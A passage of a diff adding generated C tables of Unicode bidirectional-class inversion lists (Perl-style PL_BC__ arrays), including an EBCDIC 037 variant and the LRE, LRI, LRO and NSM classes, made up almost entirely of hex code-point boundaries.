+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x200E,
+	0x200F,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20F1,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2336,
+	0x237B,
+	0x2395,
+	0x2396,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x26AC,
+	0x26AD,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF9,
+	0x2D00,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x302E,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3040,
+	0x3099,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x31C0,
+	0x31E4,
+	0x321D,
+	0x321F,
+	0x3250,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA60D,
+	0xA610,
+	0xA66F,
+	0xA680,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA828,
+	0xA82C,
+	0xA838,
+	0xA83A,
+	0xA874,
+	0xA878,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1D,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF0,
+	0x10000,
+	0x10101,
+	0x10102,
+	0x10140,
+	0x1018D,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102FC,
+	0x10376,
+	0x1037B,
+	0x10800,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x11052,
+	0x11066,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x11660,
+	0x1166D,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F16A,
+	0x1F16C,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE1000,
+	0xEFFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE,
+	0x110000
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_BC__L_invlist[] = { /* for EBCDIC 037 */
+	882,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2B9,
+	0x2BB,
+	0x2C2,
+	0x2D0,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EE,
+	0x2EF,
+	0x370,
+	0x374,
+	0x376,
+	0x37E,
+	0x37F,
+	0x384,
+	0x386,
+	0x387,
+	0x388,
+	0x3F6,
+	0x3F7,
+	0x483,
+	0x48A,
+	0x58A,
+	0x58B,
+	0x58D,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0x9F2,
+	0x9F4,
+	0x9FB,
+	0x9FC,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAF1,
+	0xAF2,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xBF3,
+	0xBFB,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
+	0xC64,
+	0xC78,
+	0xC7F,
+	0xC81,
+	0xC82,
+	0xCBC,
+	0xCBD,
+	0xCCC,
+	0xCCE,
+	0xCE2,
+	0xCE4,
+	0xD00,
+	0xD02,
+	0xD3B,
+	0xD3D,
+	0xD41,
+	0xD45,
+	0xD4D,
+	0xD4E,
+	0xD62,
+	0xD64,
+	0xDCA,
+	0xDCB,
+	0xDD2,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xE31,
+	0xE32,
+	0xE34,
+	0xE3B,
+	0xE3F,
+	0xE40,
+	0xE47,
+	0xE4F,
+	0xEB1,
+	0xEB2,
+	0xEB4,
+	0xEBA,
+	0xEBB,
+	0xEBD,
+	0xEC8,
+	0xECE,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3E,
+	0xF71,
+	0xF7F,
+	0xF80,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xF8D,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x102D,
+	0x1031,
+	0x1032,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x103D,
+	0x103F,
+	0x1058,
+	0x105A,
+	0x105E,
+	0x1061,
+	0x1071,
+	0x1075,
+	0x1082,
+	0x1083,
+	0x1085,
+	0x1087,
+	0x108D,
+	0x108E,
+	0x109D,
+	0x109E,
+	0x135D,
+	0x1360,
+	0x1390,
+	0x139A,
+	0x1400,
+	0x1401,
+	0x1680,
+	0x1681,
+	0x169B,
+	0x169D,
+	0x1712,
+	0x1715,
+	0x1732,
+	0x1735,
+	0x1752,
+	0x1754,
+	0x1772,
+	0x1774,
+	0x17B4,
+	0x17B6,
+	0x17B7,
+	0x17BE,
+	0x17C6,
+	0x17C7,
+	0x17C9,
+	0x17D4,
+	0x17DB,
+	0x17DC,
+	0x17DD,
+	0x17DE,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1885,
+	0x1887,
+	0x18A9,
+	0x18AA,
+	0x1920,
+	0x1923,
+	0x1927,
+	0x1929,
+	0x1932,
+	0x1933,
+	0x1939,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x1946,
+	0x19DE,
+	0x1A00,
+	0x1A17,
+	0x1A19,
+	0x1A1B,
+	0x1A1C,
+	0x1A56,
+	0x1A57,
+	0x1A58,
+	0x1A5F,
+	0x1A60,
+	0x1A61,
+	0x1A62,
+	0x1A63,
+	0x1A65,
+	0x1A6D,
+	0x1A73,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B04,
+	0x1B34,
+	0x1B35,
+	0x1B36,
+	0x1B3B,
+	0x1B3C,
+	0x1B3D,
+	0x1B42,
+	0x1B43,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1B82,
+	0x1BA2,
+	0x1BA6,
+	0x1BA8,
+	0x1BAA,
+	0x1BAB,
+	0x1BAE,
+	0x1BE6,
+	0x1BE7,
+	0x1BE8,
+	0x1BEA,
+	0x1BED,
+	0x1BEE,
+	0x1BEF,
+	0x1BF2,
+	0x1C2C,
+	0x1C34,
+	0x1C36,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FCD,
+	0x1FD0,
+	0x1FDD,
+	0x1FE0,
+	0x1FED,
+	0x1FF0,
+	0x1FFD,
+	0x1FFF,
+	0x2000,
+	0x200E,
+	0x200F,
+	0x2071,
+	0x2074,
+	0x207F,
+	0x2080,
+	0x208F,
+	0x20A0,
+	0x20F1,
+	0x2100,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x2150,
+	0x2160,
+	0x2189,
+	0x218C,
+	0x2190,
+	0x2336,
+	0x237B,
+	0x2395,
+	0x2396,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x249C,
+	0x24EA,
+	0x26AC,
+	0x26AD,
+	0x2800,
+	0x2900,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF9,
+	0x2D00,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x302A,
+	0x302E,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3040,
+	0x3099,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x31C0,
+	0x31E4,
+	0x321D,
+	0x321F,
+	0x3250,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x3400,
+	0x4DC0,
+	0x4E00,
+	0xA490,
+	0xA4C7,
+	0xA60D,
+	0xA610,
+	0xA66F,
+	0xA680,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA700,
+	0xA722,
+	0xA788,
+	0xA789,
+	0xA802,
+	0xA803,
+	0xA806,
+	0xA807,
+	0xA80B,
+	0xA80C,
+	0xA825,
+	0xA827,
+	0xA828,
+	0xA82C,
+	0xA838,
+	0xA83A,
+	0xA874,
+	0xA878,
+	0xA8C4,
+	0xA8C6,
+	0xA8E0,
+	0xA8F2,
+	0xA926,
+	0xA92E,
+	0xA947,
+	0xA952,
+	0xA980,
+	0xA983,
+	0xA9B3,
+	0xA9B4,
+	0xA9B6,
+	0xA9BA,
+	0xA9BC,
+	0xA9BD,
+	0xA9E5,
+	0xA9E6,
+	0xAA29,
+	0xAA2F,
+	0xAA31,
+	0xAA33,
+	0xAA35,
+	0xAA37,
+	0xAA43,
+	0xAA44,
+	0xAA4C,
+	0xAA4D,
+	0xAA7C,
+	0xAA7D,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAEC,
+	0xAAEE,
+	0xAAF6,
+	0xAAF7,
+	0xABE5,
+	0xABE6,
+	0xABE8,
+	0xABE9,
+	0xABED,
+	0xABEE,
+	0xFB1D,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFF00,
+	0xFF01,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF0,
+	0x10000,
+	0x10101,
+	0x10102,
+	0x10140,
+	0x1018D,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102FC,
+	0x10376,
+	0x1037B,
+	0x10800,
+	0x11000,
+	0x11001,
+	0x11002,
+	0x11038,
+	0x11047,
+	0x11052,
+	0x11066,
+	0x1107F,
+	0x11082,
+	0x110B3,
+	0x110B7,
+	0x110B9,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11127,
+	0x1112C,
+	0x1112D,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x11180,
+	0x11182,
+	0x111B6,
+	0x111BF,
+	0x111CA,
+	0x111CD,
+	0x1122F,
+	0x11232,
+	0x11234,
+	0x11235,
+	0x11236,
+	0x11238,
+	0x1123E,
+	0x1123F,
+	0x112DF,
+	0x112E0,
+	0x112E3,
+	0x112EB,
+	0x11300,
+	0x11302,
+	0x1133C,
+	0x1133D,
+	0x11340,
+	0x11341,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11438,
+	0x11440,
+	0x11442,
+	0x11445,
+	0x11446,
+	0x11447,
+	0x114B3,
+	0x114B9,
+	0x114BA,
+	0x114BB,
+	0x114BF,
+	0x114C1,
+	0x114C2,
+	0x114C4,
+	0x115B2,
+	0x115B6,
+	0x115BC,
+	0x115BE,
+	0x115BF,
+	0x115C1,
+	0x115DC,
+	0x115DE,
+	0x11633,
+	0x1163B,
+	0x1163D,
+	0x1163E,
+	0x1163F,
+	0x11641,
+	0x11660,
+	0x1166D,
+	0x116AB,
+	0x116AC,
+	0x116AD,
+	0x116AE,
+	0x116B0,
+	0x116B6,
+	0x116B7,
+	0x116B8,
+	0x1171D,
+	0x11720,
+	0x11722,
+	0x11726,
+	0x11727,
+	0x1172C,
+	0x11A01,
+	0x11A07,
+	0x11A09,
+	0x11A0B,
+	0x11A33,
+	0x11A39,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A51,
+	0x11A57,
+	0x11A59,
+	0x11A5C,
+	0x11A8A,
+	0x11A97,
+	0x11A98,
+	0x11A9A,
+	0x11C30,
+	0x11C37,
+	0x11C38,
+	0x11C3E,
+	0x11C92,
+	0x11CA8,
+	0x11CAA,
+	0x11CB1,
+	0x11CB2,
+	0x11CB4,
+	0x11CB5,
+	0x11CB7,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x16F8F,
+	0x16F93,
+	0x1BC9D,
+	0x1BC9F,
+	0x1BCA0,
+	0x1BCA4,
+	0x1D167,
+	0x1D16A,
+	0x1D173,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D715,
+	0x1D716,
+	0x1D74F,
+	0x1D750,
+	0x1D789,
+	0x1D78A,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F16A,
+	0x1F16C,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE1000,
+	0xEFFFE,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE,
+	0x110000
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_BC__LRE_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x202A,
+	0x202B
+};
+
+static const UV PL_BC__LRI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x2066,
+	0x2067
+};
+
+static const UV PL_BC__LRO_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x202D,
+	0x202E
+};
+
+static const UV PL_BC__NSM_invlist[] = { /* for all charsets */
+	593,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x370,
+	0x483,
+	0x48A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7A6,
+	0x7B1,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x903,
+	0x93A,
+	0x93B,
+	0x93C,
+	0x93D,
+	0x941,
+	0x949,
+	0x94D,
+	0x94E,
+	0x951,
+	0x958,
+	0x962,
+	0x964,
+	0x981,
+	0x982,
+	0x9BC,
+	0x9BD,
+	0x9C1,
+	0x9C5,
+	0x9CD,
+	0x9CE,
+	0x9E2,
+	0x9E4,
+	0xA01,
+	0xA03,
+	0xA3C,
+	0xA3D,
+	0xA41,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA70,
+	0xA72,
+	0xA75,
+	0xA76,
+	0xA81,
+	0xA83,
+	0xABC,
+	0xABD,
+	0xAC1,
+	0xAC6,
+	0xAC7,
+	0xAC9,
+	0xACD,
+	0xACE,
+	0xAE2,
+	0xAE4,
+	0xAFA,
+	0xB00,
+	0xB01,
+	0xB02,
+	0xB3C,
+	0xB3D,
+	0xB3F,
+	0xB40,
+	0xB41,
+	0xB45,
+	0xB4D,
+	0xB4E,
+	0xB56,
+	0xB57,
+	0xB62,
+	0xB64,
+	0xB82,
+	0xB83,
+	0xBC0,
+	0xBC1,
+	0xBCD,
+	0xBCE,
+	0xC00,
+	0xC01,
+	0xC3E,
+	0xC41,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC62,
